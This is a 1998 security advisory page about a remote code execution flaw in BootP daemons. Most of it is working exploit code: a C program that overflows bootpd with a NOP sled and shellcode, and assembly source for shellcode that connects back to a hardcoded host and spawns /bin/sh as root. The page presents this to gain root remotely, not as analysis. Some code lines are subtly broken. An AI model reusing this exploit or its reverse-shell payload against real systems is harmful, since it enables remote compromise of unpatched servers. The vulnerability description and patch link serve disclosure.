Brought to you by:
Suppliers of:
BootpD a daemon whose purpose is to implement the Bootstrap Protocol (BootP) which makes it possible for hosts/server to dynamically get/assign IP address, was found to have a remote vulnerability allowing the execution of arbitrary code on the remote server.
Credit:
By sending a specially crafted packet to a BootP daemon a malicious user can cause the exeution of arbitrary code (or if it failes, the BootP daemon will crash and stop responding).
The affected BootP daemon ships with most UNIX system including: Linux, OpenBSD, FreeBSD, Solaris, Irix, Digital Unix, and many others, and it been confirmed that on OpenBSD is vulnerable to the remote execution, while FreeBSD and Linux (RedHat, Slackware and Debian) are not vulnerable.
A patch exists for OpenBSD and can be located here:
ftp://ftp.openbsd.org/pub/OpenBSD/patches/2.4/common/bootpd.patch .
A code that allows you to exploit this vulnerability and gain root remotely follows:
--------- CUT HERE ---------
/*
* Bootpd Exploit against debian linux 1.3 and 2.0 and possibly other
*
* (C) 1998 Willem Pinckaers W.H.J.Pinckaers@cpedu.rug.nl
*
*/
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include "bootp.h"
char shellcode[]
"\x31" "\xc9" "\x89" "\xc8" "\x04" "\x66" "\x41" "\x89" "\xca" "\x89" "\xcb"
"\xeb" "\x7f" "\x5f" "\x89" "\x4f" "\x08" "\x41" "\x89" "\x4f" "\x04" "\x80"
"\xc1" "\x04" "\x89" "\x4f" "\x0c" "\x8d" "\x4f" "\x04" "\xcd" "\x80" "\x89"
"\x07" "\x31" "\xc9" "\x80" "\xc1" "\x02" "\x66" "\x89" "\x4f" "\x0c" "\x66"
"\x89" "\x4f" "\x0e" "\x80" "\xc1" "\x0e" "\x66" "\x89" "\x4f" "\x08" "\x66"
"\xb9" "\x30" "\x39" "\x66" "\x89" "\x4f" "\x0e" "\x8d" "\x47" "\x0c" "\x89"
"\x47" "\x04" "\x31" "\xc9" "\xb1" "\x03" "\x89" "\xca" "\x89" "\xcb" "\x89"
"\xf9" "\x31" "\xc0" "\x04" "\x66" "\xcd" "\x80" "\x31" "\xc0" "\x89" "\xc1"
"\x04" "\x3f" "\x89" "\xc2" "\x8b" "\x1f" "\xcd" "\x80" "\x89" "\xd0" "\x41"
"\xcd" "\x80" "\x89" "\xd0" "\x41" "\xcd" "\x80" "\x31" "\xc0" "\x89" "\x47"
"\x10" "\x88" "\x47" "\x1b" "\x8d" "\x47" "\x14" "\x89" "\x47" "\x0c" "\x31"
"\xc0" "\x04" "\x0b" "\x8d" "\x5f" "\x14" "\x8d" "\x4f" "\x0c" "\x8d" "\x57"
"\x10" "\xcd" "\x80" "\x31" "\xc0" "\x40" "\xcd" "\x80" "\xe8" "\x7c" "\xff"
"\xff" "\xff" "\x2e" "\x41" "\x41" "\x41" "\x41" "\x41" "\x41" "\x41" "\x41"
"\x41" "\x41" "\x41" "\x41" "\x41" "\x39" "\x30" "\xc0" "\xa8" "\x01" "\x01"
"\x2f" "\x62" "\x69" "\x6e" "\x2f" "\x73" "\x68" "\x00";
#define SERVER_PORT 67
char client_addr[16] = "127.000.000.001";
char host_addr[16] = "127.000.000.001";
int realpath_adjust = 0;
int exploit_length = 1200;
struct sockaddr_in server_addr;
void sendpacket(int, struct bootp *);
void build_packet(struct bootp *, int, char**);
void get_args(int, char**);
void usage(void);
int main(int argc, char *argv[])
{
struct bootp* bp;
int s;
get_args(argc, argv);
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(SERVER_PORT);
server_addr.sin_addr.s_addr = inet_addr(host_addr);
if ((s = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
fprintf(stderr, "cannot create socket\n");
exit(1);
}
if ((bp = (struct bootp*) malloc(MAX_MSG_SIZE + 1000)) = NULL) {
(void) fprintf(stderr, "Cannot malloc.\n");
exit(1);
};
(void) memset(bp, 0, MAX_MSG_SIZE + 1000); /* ai exploit isn't secure */
build_packet(bp, argc, argv);
sendpacket(s, bp);
}
void sendpacket(int s, struct bootp *bp)
{
if (sendto(s, (const void *) bp, MAX_MSG_SIZE, 0,
(const struct sockaddr *) &server_addr,
sizeof(struct sockaddr_in)) = -1) {
fprintf(stderr, "sendpacket: sendto returned -1 ;(\n");
exit(1);
}
}
void build_packet(struct bootp *bp, int argc, char *argv[])
{
unsigned long start_realpath = 0xbffff684 + realpath_adjust;
unsigned long addr_ret_addr = start_realpath + 8 + 0x488;
unsigned long temp_addr, temp_addr2 = 0;
int length_tftpdir = 1; // no ftpdir just a slash at the start..
int num_nops = 600;
char *p;
unsigned long *q;
int i;
bp->bp_op = BOOTREQUEST;
bp->bp_xid = 58524;
bp->bp_htype = HTYPE_ETHERNET;
bp->bp_hlen = 6;
bp->bp_ciaddr.s_addr = inet_addr(client_addr);
printf("Using: client: %s\n", client_addr);
printf("Using: server: %s\n", host_addr);
printf("Addr of realpath: %x\n", start_realpath);
p = bp->bp_file;
/* Putting in nops */
for (i = 0; i < num_nops; i++)
*p++ = 0x90;
printf("Added: %d nops\n", num_nops);
/* Putting in shellcode */
for(i = 0; i < strlen(shellcode); i++)
*p++ = shellcode[i];
printf("%d bytes of shellcode added.\n", strlen(shellcode));
/* Aligning to make sure the ret_addr is placed correctly */
temp_addr = p - bp->bp_file + length_tftpdir + start_realpath;
for(i = 0; i < (addr_ret_addr - temp_addr) % 4; i++)
*p++ = 'a';
printf("%d bytes of alignment added.\n", (addr_ret_addr - temp_addr) %4);
/* set return adress.. hopefully in exploit code.... */
temp_addr2 = start_realpath + length_tftpdir + (num_nops / 2);
if (!(temp_addr2 & 0xff)) temp_addr2++;
printf("Setting return addr to: %x \n", temp_addr2);
q = (unsigned long *) p;
do {
*q++ = temp_addr2;
p = (char *) q;
} while ((p - bp->bp_file) < exploit_length);
*p++ = '\0';
printf("Exploit length: %d", strlen(bp->bp_file));
}
void get_args(int argc, char *argv[])
{
int ch;
while ((ch = getopt(argc, argv, "c:s:a:e:")) != EOF) {
switch(ch) {
case 'c':
strcpy(client_addr, optarg);
break;
case 's':
strcpy(host_addr, optarg);
break;
case 'a':
realpath_adjust = atoi(optarg);
break;
case 'e':
exploit_length = atoi(optarg);
break;
default:
usage();
}
}
}
void usage(void)
{
printf("bootpd exploit against debian linux 1.3 and 2.0 (probably others)\n");
printf("\nBy Willem Pinckaers (W.H.J.Pinckaers@cpedu.rug.nl) 1998\n");
printf("\nUsage:\n\tbootpd: -c client_addr -s server_addr -a offset\n");
exit(1);
}
--------- CUT HERE ---------
--------- CUT HERE ---------
/*
* Exploit code, casts a shell to a remote host
* (C) 1998 Willem Pinckaers (W.H.J.Pinckaers@cpedu.rug.nl
*/
void main()
{
__asm__("
xorl %ecx, %ecx
movl %ecx, %eax
addb $0x66, %al
incl %ecx
movl %ecx, %edx
movl %ecx, %ebx
jmp endc0de
realstart:
popl %edi
movl %ecx,0x08(%edi)
incl %ecx
movl %ecx,0x04(%edi)
addb $04,%cl
movl %ecx,0x0c(%edi)
leal 04(%edi), %ecx
int $0x80
movl %eax, (%edi)
xorl %ecx, %ecx
addb $02, %cl
movw %cx, 0xc(%edi)
movw %cx, 0xe(%edi)
addb $0x0e, %cl
movw %cx, 0x8(%edi)
movw $0x3930, %cx
movw %cx, 0xe(%edi)
leal 0x0c(%edi), %eax
movl %eax, 0x04(%edi)
xorl %ecx, %ecx
movb $03, %cl
movl %ecx, %edx
movl %ecx, %ebx
movl %edi, %ecx
xorl %eax, %eax
addb $0x66, %al
int $0x080 // connect
xorl %eax,%eax
movl %eax, %ecx
addb $0x3f, %al
movl %eax, %edx
movl (%edi), %ebx
int $0x80 // dup2
movl %edx, %eax
incl %ecx
int $0x80 // dup2
movl %edx, %eax
incl %ecx
int $0x80 // dup2
xorl %eax, %eax
movl %eax, 0x10(%edi) // pointer = NULL
movb %al, 0x1b(%edi) // terminate /bin/sh
leal 0x14(%edi), %eax // start van /bin/sh
movl %eax, 0x0c(%edi)
xorl %eax, %eax
addb $0x0b, %al
leal 0x14(%edi), %ebx
leal 0x0c(%edi), %ecx
leal 0x10(%edi), %edx
int $0x80 // execve
xorl %eax,%eax
incl %eax
int $0x80
endc0de:
call realstart
sockfd:
.byte 0x2e, 'A', 'A', 'A'
.byte 'A', 'A', 'A', 'A'
.byte 'A', 'A', 'A', 'A'
sockaddr:
.byte 'A', 'A' // must contain 02
.byte 0x39, 0x30 // must contain port nr
.byte 192, 168, 01, 01 // must contain ip
.string \"/bin/sh\"");
}
--------- CUT HERE ---------
The exploit code was provided by: Willem Pinckaers .
The vulnerability was found by: John McDonald .
Please enable JavaScript to view the comments powered by Disqus.
blog comments powered by